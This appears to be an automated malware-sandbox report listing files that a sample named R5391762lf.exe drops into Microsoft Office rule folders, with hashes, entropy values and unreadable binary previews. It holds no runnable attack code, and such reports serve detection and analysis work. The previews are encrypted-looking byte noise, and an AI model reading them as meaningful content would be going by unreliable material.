Preview:	<?xml-c.%.......+`C.!.b.H..5.=."1...l..p.l_.I..\|.e.kR....,...Xl..k)...]_.......Q..c.$=.\|0...{..b...Ftr....Q`.A...5...}.k\|.F...S...Xw\..!.1...l.^...ow.D..@./.\Q.">...(.dIP...M1. Q..u.o}`...r6[.. .:....XO&Y.....P..Y...T-....o6.dm.t=(.A......nax.Ow.@.......t".@...)..)..[..".._.B.UR5.2.C. ..%....\.0a..z2".PR..fS.K<@K6....3.L>..'.ble..?......?%.2.)...........G-....W..s.%.-].....6\|td.K.M....).;...S....".E...X.;!.<.D.^.....U..._h..>...8!. ...."..H..&V:....Z7.....@J..0x.....9.j.[...5.+....ENi.Qg.Mxf$...`n..........[4**.T.l..Q.....R.....}}w......\|#..V/..^..lJ.w.@.K.....2#...B............C.. @...0./i..j...N.5.....L9..u.4!..])9q3..:.y4.T...MP..... ...q.....c.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule270015v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	956
Entropy (8bit):	7.7580847957280055
Encrypted:	false
SSDEEP:	24:VYd5CMmeNZOm653FKV+slhyMpON7i+tV+AXq8uWbD:CdsM7Nz653FKdlhyMpGiFAXFuED
MD5:	F343959C66CF736F60386E3D68984D50
SHA1:	DDC2E40E1C5E335BFD3864EB832B97BAB39E74D7
SHA-256:	3F234B3B2F61083196141FF9A5B5C3191E92DF5C95F0AFAF0092DA6E223BEDCB
SHA-512:	FCDE8F2548DEABFE16B60F6751DC23285B66A64152E20D4B49C839672BA96DD2135273E040F6F9FDA8D46A8BBAAC69E1DA95372013FB5BFDE33D066B62F7CF6A
Malicious:	false
Preview:	<?xml.l.6.eI ..6.M.+y7q../}.'=.\|.....e.....H_.e.. B..!.. .........l.sLH..7...Kv&..-f.[B..t..F.Ztp..@.vi%n.+.4..........Of7...J....e.m.}.^Y...8n./....j../.i..dS....p..~k=.........V,m.....Nq32.....(F..9.a...o..2.lSp...f.,=.)...W........r.....A..@.~k.~....W.zE.C.2<.....i...d.HMm4s.....iJ..9.....(..s..............![..7.DN.K2.q...}..}..v...1...P..YD.....wAN....3.n.W..m.J'C...V.1.....T...!.oX:....L./.J.......3C.....=o...dOui..2..[..3..[k.>.......!V~H7@.h...T..d0Q....b=..3..!0E.?y..F...._V...60GJZWN.f_..4..S..V.....{.....q......-OF+j8..I......-...zU!.k...a...'?..mx.o.T1.T...a....L.f.......'NnL...'T........?,..r.5..-FK{.....<n.-...U[...^..x.......W..,r8.C.J..$.(..K^.S......a...vW."....t.6B;!...D..0...4.(.ds.T.PTs.......K.f......h$.y.l...E..s.,..~J.)x0q.h\..O..........<.L_....~g9.-..=.>C.6%.%..r.4.H......eB..~1.ug........doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule270016v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	837
Entropy (8bit):	7.6650554553045005
Encrypted:	false
SSDEEP:	24:Ikbh5luySQbcnedJrWh6jXXTpAXq8uWbD:btYQbdA6jXVAXFuED
MD5:	7326A4EDDA57B9D1630146C189D804AE
SHA1:	4935DAD23D69FBEE7BC38369F377068316F3C75F
SHA-256:	37C6E517613001AD2B80F1901DD257B3E3718493CBD20A4AA4C321B890D81850
SHA-512:	25B17DF9DC077E048162A7D2F39A5AB21C7A4109AA0A9ADAA4FD9C071EDBDE886AEEC19C97009043CFF490A3C9D5AD21047C6FD8BE49E9E7868A00DC2F13F05A
Malicious:	false
Preview:	<?xml....A.....VN^b_..D.../..cJ.5......X-....p-..x-.......@..R..X(..R..1..:.@.jD.........y.VS+gO..)..........~{..V.ce.}`-.8.&. q^S^l..y.<.]..:.V...E............`..a.T}5'.}.-._V...ga.>4&.!8'....I..g..}.....8Q.....&..^..ZJ2.......`2k.?.w.....G%.&75lz..,......D.../&...1...>..Kb.cw.s.........DJ.. ...-^....8.9.....e.k.v....@9..$[.D@. .+..`[...EK.[.,...._X._r...#......q..5o\EH...E..&.]...5.IK.Z(.F.=..S.:.......elb...6.G..&.Z0....4.f.d...*..w...@.....n........?1.\|...E..:.Wv!.N.c..kgB\|..J..s?....s.......$.......n>....+.1....Zg;.q.V..'...xZ.eVF.E.....mg...X-..b.O..K.}b.......3..$..{.0.l.n.Vg....bvk.nx...j..A4.D.B...@.....`..c..2...t....5A..x1[...Mx.[.<.fCD..\|.....`....x.......M3.t...V.BrTg@gG....Q.&..+?....\ ..A.+..$.d.;=.la.."doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	323284
Entropy (8bit):	6.623058114594874
Encrypted:	false
SSDEEP:	3072:U7+NahTN3pv0tBMocaVAjamVVQ8sSR/V3/502pVtTFByNIS3JYo7vg7iya:1qZ3JCe/jbVVQvSGQVt7sIfEg7xa
MD5:	9B77B387DBC99BD5D1BDE53FCD98A9E3
SHA1:	1A46645CD01C54D3326C1718C943DAC8524F9F26
SHA-256:	419301B2BB8770B7A02A03E83A18D36E0729A2F7ED712F29B7CA7BE1B5F41256
SHA-512:	B2703870064BA7ABAEAF75CCD69201B877925307D4DB1FE6A32010F26EC598081689D3536F610A9A0F884F82E72EA068AA5FC183222ACFD3270970F52E6A1F1D
Malicious:	false
Preview:	<Rule....&.8fF[.l..........H.....)..(.(?..x.H...;....j$...Y.....j..iX.`....[.v.Qz.>.=..p.....&e.y...T.S7..ys...<.j.zxkw.>.Q..8Y.e5c?..._.....I...-g..r4j7..ob"..g.!..rs.u..P!..H.[.......K.y.Ga..W+(..!.....3{.oB..5?.A..g..;..M.C.A.!....`U..b.T.hY.6..GL.t...slf...+....?n^...Z..-....z....s...Lj..H!.%......@...}9...D0_.C..OPNwH..x..c{+k.K.7.4...X..pb.J...(N..>...o.E..z...j..l..+.<....?.....G-........?)/.3J\|f....3<..5[d=MQo.rfz.8...'.XV..vS...S"..h..[.u.Q.t+... Lf.!... 8-..2V1...O...V.b..7.W.h.~........F.?...N..wly.;Ac....AD..I......D..Sg.\%ks..-+. .(.i..N%..'=@v.1e.Q)x.....K.GV..$..z..g......>.C3...w......-....&..0..m.."..".9...OQ.\i.z..d.e.....L.{.=e..1+.....x...{.t............"...M..d$...<0.".VC8.._.>5-}....;.X.l<J0..!BW.'.u1.xWS.B..........+.k_...PE............O..61..\s...aX...u(fo..H^.Q.{.]or...=H..!.....,(p#..!1P....n% ...q.../.....lqN.....uebd..O....v..3....[F.`.T..X.YV...2kj..C..i.ZRf..j...L..,Pf..9..8.x.C......"b..4f;0..X.wzm.]<N.'...k

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	361051
Entropy (8bit):	6.513596241392864
Encrypted:	false
SSDEEP:	3072:LPxOHELVePDtyrYVdfkPqZKmAmd8rnvbB01txa:LPixyrAk9c8nDg4
MD5:	095761AF168170F38238F422D2BFC7CB
SHA1:	438CA139B5E05F402AFEA3A097ED338A0FE37593
SHA-256:	DB5CFB1B3607E744C33BFA7F34C8BAA710A4432723B295D436D6D8E5F39F5BE5
SHA-512:	1A1FEAB14A61834B77971ACF837DC03F3AD9F8994A2FAEE7C6E4DD6EFE6C474B6F8C072F17F0904F42BBCDA545983B3881F4D2BA0B4D63FB6E3201F91B82DB88
Malicious:	false
Preview:	<Rule.z.E[..FF.)..In...8...d..R..rr...#N.P8(4\|b8.C[.._...R.......H0>..H.I..:V.C..m.h..,...P....`..7.v\|<.....<...$4]t(....t......f."...g`....T..Fp.e.Y.(0{...[..b.....R......W=..Aq.e.%.....n..9X.`....)..tv.x.........$i.....\|%AoCr.jQ...G.o./>.5.$Y..h.Z...Z..qgv>0..:..$.2/...(s......8...-..h..].....eg...`}.f-U.3.........y.=.}.e....+.xc@......7....A&...c..H.1SJ.n.k.F..0.J..,.V.i.Z..P......,H..a.Qb%f6..3. ..M.:.90%....<\..h.<@......;.7.&~.s.......Dq+..G..jFU.k.....a7.... .W:...Q.)+7(9....r".>.....)...$...^yH...6..J....clB..>...u.xmcc.v...:...I..{..2.A...3.E.h...h...?r(._.g...FK.....1.....b..0..A.....P.UfU....3.......V.....YH.w.V....-....~..S\|.Jd.Z..WC........\|8G.b.p...7.......'G.D.I0B.@. ....I@.p..]Jv..:...TVm. ..b.l.&..<E.kq.g%.g..Q%%.^...([.....>....#.Wze....l.~l.`.W....fl...=6..u.....F...8.r.P.l7.YG@.u..}.I...M.^..);.V.)>6>..,..sn.x^.N....G....I.0..=aVO....9.*s-8H.......<7-.d....`....}..z.TfI..c.6...G...T..Oj.w.....E.x..Vd.y..z...I..%.h.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11793v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1551
Entropy (8bit):	7.861539211881487
Encrypted:	false
SSDEEP:	48:9+sdbHont9MEQKtyakZTSxHXaHNQnS/cteXFuED:7769fHyakZ2dXatQnSkt8FuQ
MD5:	A5CC9D4D742EA90A657A47D8C4687FFE
SHA1:	377CE7278078970FF4AC5008F65A74E099BFE1C8
SHA-256:	4DB621A56BDEA87A550E53E05ECB71CD07DCB636B163663F1937A0DD1FF1888A
SHA-512:	ABA86F53AB66F951E5591ACDC74600F95B6C79E8959260E16DD9F726FF0297F5B4E20DB26922E0C23EC3A77FC86BDC18403633D72CD22F617A003526F11C1DDF
Malicious:	false
Preview:	<?xmlo......u9%.1..[.....-.Sg.....\4.&...H....G.....p..l...0......:. .{U_.gfyS.uG..5.k.b..<'...0...@.Y !....%....?.:.k<x.l.+.M.....Jy..d2.s.\...`Y.i.P'.W........../.q9.g_q.3.%Mg....Xy.......u....}....foId...!.p.o.M...............v.-H.`vH..p.......r.L.3.$.NV..N.O....xguK..bM...`.=G.T..d..4W.......-.cJ....:L..:...wh....BG.~jJ...r..a>.(.U3.x...V..~].u...g......E/~......\|c....l#(.o...W...^Q%.N.i..1:'...O>.........N6DG..1...V.b.n.zmq....s.Cw..(..T..(. m.MB...%^...s.e/..Y..@]..M.K.:G9..^..]..Q.u..Zz..;WU...R...V>l..D.....4.x.L../}...z}@s{.;...6..i^..:8....uI...mODZ.B......O.'.h.8.........v..@g...rr&.......Y...M$w..gt....9X.7m...1.7..Z...Ny._....(.........B.No..k..Q...n.<.....#....u.4.D....Q;.0...Ba`.9T`.AP^...h..6.ro#...I.'..gMB..q.\\,.v....%:......)u.M..N.R0.......F.P.BJWh-{...W..n.p.k.Q"Ke.............s.K...-..v.T.......c\|.$U..o ..1~.........zC...d..^[.7.a...a.v.O=.........j.........t-.U.M.... .j..Ei..n8+f{!.=U...^..... [.&..b...... y

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11794v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	7.902223975941379
Encrypted:	false
SSDEEP:	48:7t/uQxRZOcqWOlVIkNK9j+VRAEIz+u7iKMri17i4FJYq4XFuED:p/nxRZMU9Oju+jc2UJYLFuQ
MD5:	8EF7F1A938207935FCBB302BA161875C
SHA1:	224C56A21EB14F6F4389BCCFFBDEF057FBEFAC95
SHA-256:	6C664DCF968B0693796914DD89555BA1B2A62FECE91C2758D7F8CFB05F40412D
SHA-512:	23DF65C36CC890027A372AF1491D41771299FEFC71C6ACAB27D9E2645034DCB29CBAFB8725E5C09B73BC3B4F2666456A525733FD9E3BEA3F62FDEDB2897BF399
Malicious:	false
Preview:	<?xml...........L..}.'...F..Q,..4...>e..'....9...e.-?WCK..x.{.,[.i....#'.t..l...R...@....TY@[.:.M....v..J....F.?.\|...QV>.._UL.i.{@.z.....+.C..mhig....b.t..P..4..4...O..;...b......._..k...~K.._#a..A,%..Y.~..6.r.p.(.\.2.=.....Q.Yd...Gm...~...C.B...f..jxv"..$.L.k.f..E..i":u.8....x....>..`..!....D...M..g....62.8.7.fY..].@)s..T..E....BjM.1#....8:..,}..THY^........y.}(dOcB......{.......7.Sp......<..N......zT..x.T...:DN^.Q..B.K../^'.xk.G.O&hR.<.Z...ky9.~....u.].v.AU...@}.t.E...h..x.JU.k\|.S...w-.....7...T..&..ln......{..N....0'^.....h;gi...i.p(......`...A......>.t.......'.3.5.yv.S...o[nr+Cu_W.P..$..6.urhP`0w. L.-y&.!DjI....T_.G ....k...z.W6\w....eS....m..)n..i&....P....!..?:.H1^..s...8..FiE..$.GZ.:.\|=.z...av.=......K..]J.CG..E.w%....`.x..................\|<....s.U.T..V.....^.u..v.......t..W'n'......,..ed..r.f_.7fF.M.....`.u.t"I..i...>....2qL..83}.,U~7....o..=....P~.s..n...e.J..J... .m........WR,..... ....>..0.{2.jQ"?....v.w.e.^....L..y.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11834v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.8842440187006115
Encrypted:	false
SSDEEP:	48:ln08PDJlgZlcRiKVIeD015A2DTPJiDTXFuED:ZPDHgZ4Xv0rA2XPcnFuQ
MD5:	1197980D0EB5956ED4513A2AF2486A26
SHA1:	F4FB14045D20567A6B423B4DC945E26F0BFAB82F
SHA-256:	EB7DC719E9015A9201CEEA76444AB96F79CC45F408634F1DCAD6CCBA5FC19A47
SHA-512:	89AFE4991AA254DF04F2A37582C0EEF5ABB5A18F21EC033801FACE5D3DDC11D337D9D1611A632378C69695EFB97A8394FBC9BF7BEE70815E4E8B336EB33E9B33
Malicious:	false
Preview:	<?xml.....cF.m<1.Hz.V..?4..?9&...\|R.a.W#...&............R......Wk......30....p.C\|.x...\7_.v...s7L.s(.".....#.u.^.tG)...e..'...k.o.....d(140..I..q..........6#.A...E...p.P.n&...:^...#.\.W.Q...j..I..i.9i.....\.......=.+..9......Z...Um.c....N.H..H.:....Ty.b......G.z.J.kY..h....B.g.N JT.A.....1XX.Gh^..........D.=C..`......N.m.;....s..e........aP.N......dL=..........t.Hx..UX.b....:c{..GtY...f.u=.u..'...H\|...=....,....V^....$.TC>.........AM^....,<_!VT.e....M.(;...W3=......Y.q$\2@."........Q.....[6...3t...e...<B..K-:.-....u.boN..@....R.h.k.-/0.o..X.!..p.....o.C...tm..."g....m.2..8.......05B\.......c......b....B.:...J.......Ya.....S...?./6..[\........9.........+d..3..`..n(....J,=....UH.R.}.z(.e..w..]..oO\|. .\.T.&.\+Q.......Ju..m..c...(..83_.3cn.D..8uv}..hHGE.Ze.~...4..4.KMb..:..6.Q.%.q.......6....^.....M...... %Wx..o;.i.^.h9.Mi[..P..?iE.1H.....4<...+...:..A.m_2.[....."wS...6...t........].....}... i).....N.z...K.B.1.k.1..I..mJ.d.!..........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11882v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1448
Entropy (8bit):	7.863088379163091
Encrypted:	false
SSDEEP:	24:PxoJyhT676oitS7Em0jLqdX522sgKYgu48hRO90hrIgNmozA+VKC6AeEVf9VFKXp:PG6O7VsS7Emn/VFfXhrrD8+ABKVfnAXp
MD5:	4520D7D01D34585CA4CF99244BFCAFD8
SHA1:	6547FB317BABC1C0C13381E51BED761D917D2F61
SHA-256:	CC4751B67B29578E27540E3D2D66476A81DB9CC1A1AB2329404337C7A78A8956
SHA-512:	613D27DE70F9DEF00079C21B5DAA83D098C88FD8F5706C73A841763FBED2FCAE7AF923A3212B2A4AA27E547C67CAD56A9227A7FD17A88348F2073CA4F800B0B5
Malicious:	false
Preview:	<?xml.....k.2..N^.i.u.....g4qwd.x....{9o{F\.i%J7....2..'.k..X..F..W({.........lZWW...K.Q......M.F......7..W.Z..M.5p...<.h".B.C?cb...6...]...R.\....Y4.b@o1.A.XH..... F}5F..9......4..5D\|...q...p.......F.@...+G.`.m....D..WH....e......![..J.q....[tT.(L.6.D.Q.'&x..=KI...V..:.....-%......0P..&..;....$L...?..P_..[...]Wb......f..,....U'ih.v..(=..6w.....s"aPW........-. ...Zb.d.9......6. C3.&..T..$..TH..R....CW5.y....C..<.X.D......j.\.mx..Pk.5....l....g...Y....r'...O...q..S....t%.2..Pg.3.\|.Y.NKcS12...Aqy....$.iv.....;M...u..h..r.-u%.8..]..{a...,~D..U...%.;.......)b.......7.6.w;.B...^n.>..?\.,wq.,....sI.y)/t55u.XL...b..l..g.<.o$>.0..g.........]do9E.l.]rT%....v...X........7. ._.9c.DG..r..N.1h...Vl\...\>.w....;.Q..fKl+.U.....p....3%.p.L....j...+xk"..,b..j0....~>b.%....`{f....w..v..R......%......~....r..6.,..]7.n.db....0...L."p..."...X..J.V....r.1%2.b.................e..%.D`J.}.c.{=.......2.....{.B....q9....a.6....\.....Wf.'..vQmS.7F.1]M..]....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11890v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	7.854921439506037
Encrypted:	false
SSDEEP:	24:TsEShW1e71lTCcA2c0gc9WLqCp1gTRpnDWdGoDdXkYuOWURsouRg1ZKC8qCtX955:AESH1lTCqcHLtg5q1dXkYuOnv11v8qCT
MD5:	CD5A6496F6450BCF606B3A23AEAC19F3
SHA1:	47AAE0738D469D7ACD35D98D229128E0A783AA8B
SHA-256:	F59764D7306EE4783E2B75950B41CFD3597397DAAD4480F9280C85AAB7613087
SHA-512:	7F7870D6E10A98474555BCF43BDFD1F273D2D8331BCA46E63FB7A11D7D56F7223C22423980A8D37C08EA354705327A15D69890282E8C095505EB39A28B7C511B
Malicious:	false
Preview:	<?xml...b...,..4^..w.N.j.}%<k..Y....-m..)-.C3......o..i..&...)-BS..%.+.....Xo?..+..}g...y....~S.....ETY<.~....3c.\|.W.I'.e}...:K..x.A_.7.l.yu..ks.k.6..//....V...o.Z 4...d..? D.<.O.:1..E.I..^KK..v.h$..~{.^.?7......!....Y^.-_..y.D3.oC.7M.....4..i7..[-.a..g".'."\S.+P..m:......w....d.r..6..E..r..ZB..Z..{#...6n.BI....b. M...........Y@5.V..6...@.....i...l.t.......P.2.3..8(.:BZ...:.`1..&.MU#.].vC..j.w.MXL..q.<:#a.j.....4.... 2+.{.c....."..$......r2...l[....mY.. ....._.E[I.;.E..$..L.X"...q)....T...}...f..S...6..g.@_....[.....`?.Y..$G.w......e.6.O..Y.H.@.L.P2r.akf.h.V...;A....x..<Q.s.....I........Hi.g.gh!P..........T.k......J....K..M%.H...t.b.NV....,...nF._Ep....o..(v..W.C..%....r.....s.Nc.w..3.b...9/SZ_...9..Q.%E%)U_.,...g.k....\.....Q."....L-.....L..lA@.._......^.f....P...0~....^(..+.^..vt?4c.}.G..y..13U..4.3..9_<....r....r.^...h.\...q..U..T.,..N ..mJ.W/)wIu<J..N\|e...Y.]u.j..9.t5M<L.....mC..W..._.[........UnQ.h.......\|.W....F$...3...-

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11930v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1546
Entropy (8bit):	7.873377330124807
Encrypted:	false
SSDEEP:	24:AeDkzXP6sMqDaTpfl9Wm3gpJrH+YhIm9AWEgIXwgODV4ocOdZKTXq8uWbD:AjTP6srusPpUIIm9ALgi4qKZKTXFuED
MD5:	4EBCD871FEFB28AC7DEB5D26405F1F93
SHA1:	F523235A9509B8598E634A39C4988A7BF561962D
SHA-256:	CEF6FA17137F3897F918E62750171A5FD0CFC69A0597CE0BF13BBE8457064B56
SHA-512:	38EA423C58AF754DAD28A5BBD04A91085495648642E4B48CA21BB29B48E7B74A52B942F3BABC1BDFF638F6F91CFD607D89480AAEC6F32A49383832786AC19B63
Malicious:	false
Preview:	<?xml.....'q.d>....K6...~R.m..p...y.tD.=...\|.#..........4.....G.R..k,.a..3k.3.(i.Gp.....D......o..o....s.]._.........T.d3Z.:.....H.)~.,.....&...xY&..\|$..8.EZ=.h0.{.0...2K..p^...........A.x.2W].w~.u.x/Y....]ZXNC..Na..p.hr.<.E)..</~..\y..<...[X6...P......?...9(..#..........>....>.....L.C.#..2F.aq.p.e.....yW.......1.2S./.T6..F......k..qQ.}`........3..{e..\|<.(......S\|..l.V......Lh..l%-.Yv..}.\..EL%..+...).>..d@h.].....G.Q.>.._...j..l....4#.?0....._.Z..M.QzZ.v.-.I..b.{...L......=3.f...$.....}Ik......u_1..`,....>_P.+...K=s@.@0h.p......@...>.@".....6...Q.......*......4.B/..8N\|}.....D...$....[T'......[..i`.!.oGw...'.d.a.-fey.........LW=5....N.r.my.:....l.v..pv../....H.Qjipor...0TU'...c.O;..[E..T..<A...m..N.G...K./...O}6..S....Kb~..pS.Mj........w_ ...p.z....6...^7.`kx\...,B..S........^...B......o.g{^H...)T'..v..^..e]@(f-..z.2U..=2..\....S...,....1.(........l3.p'2..<.........+&X...P.S6...<..58Q....^.\U.............e.<...._..N.....Q..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11931v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	903
Entropy (8bit):	7.780683747879259
Encrypted:	false
SSDEEP:	24:Ek3pk8h4xpVHIWGBvZTyNp+WxeHpxz8GdDXq8uWbD:1rOFoWYQ0DTBXFuED
MD5:	2390915E526EAC2423F4043801F468F9
SHA1:	4CAD72E177BF2EAB5B9DF391C6B91FB9FAB05198
SHA-256:	EC600FC9B7494AF86B6208E692C27EC5673C7ACA77A3F5BF9FFC7C5094CED910
SHA-512:	0312FF4BB19E3E952574F1A3980BBF203375AB7044BDE66831848D53B584BBEE8612DBC9FA2CC089B29BA360A371C171B608047BC72BFD6B4D76F8C5AB9DCA04
Malicious:	false
Preview:	<?xml.B.{.....m.m.I..-..............Q..@..GfN.ny.O..kYabE..D....%.` ..V.o%..r.S.u...nP.r.....h..3...N...7T._..JS.05V..5tp..A...e...h.L.-~..U...5..8H...}...(..v.....:}.[..v..b.Z.j8~._W.f?...s...i..._.....;.OY.....(q[.8.w.."..0."]b.v.;.Bp.\...n..X.....]2.."A\...Fmk.D.].7?.M....O.B.x\....L..'D5...0....!YY...m2.....8.gGyj....l.1...P......H.x.R/.M..n..`F... ....+l...C....>....."...FI.}.n9Y.%.P...n.V..2..........6+Ean...B.`.^.i..:.it.....(......Rg'..;.;....L.Ia^......I&..H~...`..9..;$....,.:.5+:.;.~M{N....85e...6<C.....l^..D..Z..5..".J=...]e.\|..A.....\..j.n.%.....v-.-K\|%...._].,q9U.2.....LI......d{kZ.Z:..f_.0.L.NL...=.I...-G.S.dC....a..U...] CgIG.^...SINRm...0M..\|+..E.....j..Z..W.k.[....S#....;V....}..,..n...l.L=..7...f6..GFC..!..Jn.:......[.G...<.JQD.v.....@..wC...F..../n.p....i.s..doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11932v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	3566
Entropy (8bit):	7.944259510167038
Encrypted:	false
SSDEEP:	96:eyQuReuuVWLq5bVJYUv23NnB+ptEN5bFuQ:0ILWDIUmiQ
MD5:	D90F10D39412E45111B8565D2157728B
SHA1:	77FA135F7046CA921D1037E800B168B9FDC91B0F
SHA-256:	6CCFB45293C9E45F63970BE2B81559EE75D9F58398EC1BB0563308B4F86726DD
SHA-512:	4C86AE3005762430014EFED208CEEDF0FA312D0FAA31B82091BE6B84782FC7A1BB85ABBA3EF0FED7FC533099F4F0D5138873D89E9C9294BE1CF6005C95C67A0E
Malicious:	false
Preview:	<?xml.:.~&yhQ..ei..:...b....\|....u..K....h.@.x..{,..5}$...T...}3...0..M'.o.[...U.PkJJ...\Ut.J..{a..d...d}.9{Uz..d;...Lc+-P!ZX...pZ0..U....7..aS-...I..rt.u.<.Qe.....O ;..tl...>R-6..S2...]..>.^.?#....c...3....w3).....rw.p..<+eA.........b.....8+..M..j....R........A...i.....x..r...[.4.G<.....L.%b_e.i[...).a..........O....e.F...%..E0.D#$..y...OH.]..M6=`X.p.\|.0..y._......W~....2?&..:v,xh.+\.1...Z2...).!..@....N~.p...g.....M.c..u..'v.....`JSH..",.r.......w.L...L'.....~...m?%.o..P.6.dk.>.CL...Co.5.q.......JK..J.xh.W....Z.........o!_....aW.3..@t.^.+l...R-.l......7.#.25K.....D.i...>..u... .o[.MQ...\....1\^.Jsi..4.3y..{M.........f"!...]mM.LLK.._M...yL.%.....g.....BUKR3k...`\...c+.e..m.j.....Vu.L.s^..g-d.&..1..Ly.6...~...xu5p....O..x....c4.K..C\.!...T^.b.E.....j.#X8.k..:.2..Q..h...jwt...t'>G..ei...]...P.*bA....5/w..L..^.XA\|.4...P......P..Lv@.h.{...o..k."W..N.M.........aP....r=D..9..z...8#J.w.8V!=........;.......$.?L(V_4_.9x._....D.Y..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11933v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	3677
Entropy (8bit):	7.95109349267183
Encrypted:	false
SSDEEP:	96:z3KJlVB4Jrs50t8v6JUbgHeSHTlQMuZFcu0rFuQ:z6VB4Jr40ttnHes54KIQ
MD5:	6658D021B1CD6A8CC0B78DB5535F19BE
SHA1:	277E22403CD9A76AC9311C0D1E4A50A787403DED
SHA-256:	9CFC582602D9F353E84256AF984AF53E1AF95DEA4B7E1A827F0D7688F2BB9311
SHA-512:	2961D507F6B99E4187DB99D98B00884E339C8B7D9B03FA9098F3C6688E8852970097D98637D1EC1B5AC27CAF5B25CF6679128C3C8626618D1BF8C8643604DDB7
Malicious:	false
Preview:	<?xml..>.. ..M:.Cb"68C:.z....`..['..W..J.u..5`..`h....p..~.8..e....h...+..b\.... .!..,.zRb.F..g.g..".".\|..o..Rw..#U.&.h...O..V..k.#..ZT.0..U.w....O..j...q..sV..]...V<d..Q.44,.>.Nx!.yJ.N.....:.Q.U......N.49.T..$.(..Z-..u...h...j.\f.u.`.....r.".....I.H.W.l..R..%.3lQ].Rt=....:..fm..\|.1....bw,.B...<....H.[-.=.sGB"N..5c.a...+..,..#>.....A.) i.Z...........Uf?..AF...=.f.s......I....5r..o.Z..[......9..'...e3..._.x.OB....@`."]...FTUd..W..%.>..+..l.Q.m..W....d2..@3h..0}...I.R.TZ.....FZ.d).N.."r....m....np.#q...e>n.Uq2.....5#..A.....r~i8.F\|...t...N.o.p.Q.p.S.N+a..2H......-.B...\.fQ 9..V....,..N?..D....T.RK;.v.......k`...U..f...WX..Km..R.JZ..F.D/....#.n...m.a1..a.....Z..f.-...>...3.....*..L..S...t..Z..V.m..:K2.....6.<..3.Z.B.T..Ja..6.r.&.F.4.^.......g.....Z.B..Z...>.Q......~..S...X..`......f......M.b..zG\i&q.TiK.......d....[4.+....!...TI..B.R....EZd..i[.<.%U#&.....;...ZI.fe..{W.&3..m.s.-[.....Ed.W.:.;...(s.....s[.Y({L.....O.^zMV..E."...j.w....i.;.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11939v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	744
Entropy (8bit):	7.681120789821066
Encrypted:	false
SSDEEP:	12:fM7D4xwz3kFZ4pl3V9lCHY66V55UrjqTL21D7aCj2dSTDmyMFXqOTuWcii9a:i4K7Fp9VvC4RV51KECj2dS+xFXq8uWbD
MD5:	14B9F3856E05BEFCC4638DA9F164EAE7
SHA1:	2A39C4953D9946C3BAA54CB32CF62F5720168852
SHA-256:	C557C5DFAF3266ADDFE448ED2EABD0796008EDCCC7DA56E036E293B92C0DB7C6
SHA-512:	D32EA4EA70F10584DC97227C269343B18CF46A6E41AED4EC08AA102C8D30B5639CFDA9A1543AB0781AFD578D2E0050C2E5E89710817E5F1A6ADDB16851D8628B
Malicious:	false
